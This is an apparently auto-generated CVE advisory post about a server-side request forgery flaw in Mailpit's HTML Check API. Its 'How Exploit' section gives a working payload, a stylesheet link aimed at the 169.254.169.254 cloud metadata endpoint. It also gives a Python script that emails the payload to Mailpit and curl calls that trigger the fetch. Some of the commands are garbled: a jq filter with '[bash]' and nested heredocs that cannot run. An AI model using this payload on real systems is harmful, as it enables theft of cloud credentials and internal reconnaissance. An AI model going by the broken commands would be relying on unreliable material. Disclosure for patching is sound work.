Mailpit, Server-Side Request Forgery (SSRF), CVE-2026-23845 (Critical)

Listen to this Post

The vulnerability exists in Mailpit’s HTML Check API endpoint. When processing an HTML email for compatibility testing, the `inlineRemoteCSS()` function automatically fetches external CSS files defined in `` tags. The `isURL()` validation only checks for http/https schemes and a non-empty host, allowing any reachable URL. The `downloadToBytes()` function then performs an unrestricted HTTP GET request to the provided address without validating against internal or loopback IP ranges. This allows an attacker to craft an HTML email with a stylesheet link pointing to internal services (like cloud metadata endpoints, databases, or internal APIs) and trigger a request to that endpoint by calling the `/api/v1/message/{ID}/html-check` API. The response from the internal service is downloaded and can be inferred through error messages or timing, leading to information disclosure and further network penetration.
Platform: Mailpit
Version: < v1.28.3
Vulnerability : Server-Side Request Forgery
Severity: Critical
date: 2026-01-21

Prediction: 2026-01-21

What Undercode Say:

Analytics:

curl -s "http://localhost:8025/api/v1/messages?limit=1" | jq -r '.messages[bash].ID'
curl -v "http://localhost:8025/api/v1/message/ABC123/html-check"
func isURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}
resp, err := client.Get(url)

How Exploit:

<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
python3 ssrf_htmlcheck_poc.py
cat << 'EOF' | python3 - <<SENDMAIL
import smtplib
from email.mime.text import MIMEText
html = '<link rel="stylesheet" href="http://169.254.169.254/">'
msg = MIMEText(html, 'html')
with smtplib.SMTP('localhost', 1025) as smtp:
smtp.send_message(msg)
SENDMAIL

Protection from this CVE

Update to v1.28.3

Implement IP validation

Restrict internal network

Impact:

Internal Service Access

Credential Theft

Network Reconnaissance

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top